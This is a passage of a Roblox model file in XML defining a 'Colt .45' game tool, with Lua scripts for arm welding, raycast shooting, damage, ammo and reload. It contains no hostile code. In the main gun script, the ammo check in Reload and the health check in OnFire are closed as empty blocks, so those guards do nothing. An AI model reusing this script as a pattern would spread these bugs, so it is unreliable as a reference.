				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122079932</url></Content>
				<string name="ToolTip">Colt .45</string>
			</Properties>
			<Item class="Part" referent="RBX4281">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-18.3000011</X>
						<Y>-68.5</Y>
						<Z>16.9000015</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1.18000245</Y>
						<Z>1.34999704</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4282">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=97886770</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.79999995</X>
							<Y>1.79999995</Y>
							<Z>1.79999995</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4283">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=97848313</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4284">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=97848255</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4285">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510737</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4286">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4287">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX4288">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4289">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Colt45</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 28
-- How many times per second the gun can fire
local FireRate = 1 / 4
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.02
-- In radian the maximum accuracy penalty
local MaxSpread = 0.09
-- Number of bullets in a clip
local ClipSize = 6
-- DefaultValue for spare ammo
local SpareAmmo = 60
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.04
-- Time it takes to reload weapon
local ReloadTime = 3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX4371">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4372">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4373">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4374">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4375">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-75))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4376">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Welding</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
&#9;&#9;A.Anchored = false
&#9;else
&#9;&#9;local C = A:GetChildren()
&#9;&#9;for i=1, #C do
&#9;&#9;Get(C[i])
&#9;&#9;end
&#9;end
end

function Finale()
&#9;Get(script.Parent)
end

script.Parent.Equipped:connect(Finale)
script.Parent.Unequipped:connect(Finale)
Finale()</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4377">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">BackupWeld</string>
					<ProtectedString name="Source">function Weld(x,y)
&#9;local W = Instance.new(&quot;Weld&quot;)
&#9;W.Part0 = x
&#9;W.Part1 = y
&#9;local CJ = CFrame.new(x.Position)
&#9;local C0 = x.CFrame:inverse()*CJ
&#9;local C1 = y.CFrame:inverse()*CJ
&#9;W.C0 = C0
&#9;W.C1 = C1
&#9;W.Parent = x
end

function Get(A)
&#9;if A.className == &quot;Part&quot; then
&#9;&#9;Weld(script.Parent.Handle, A)
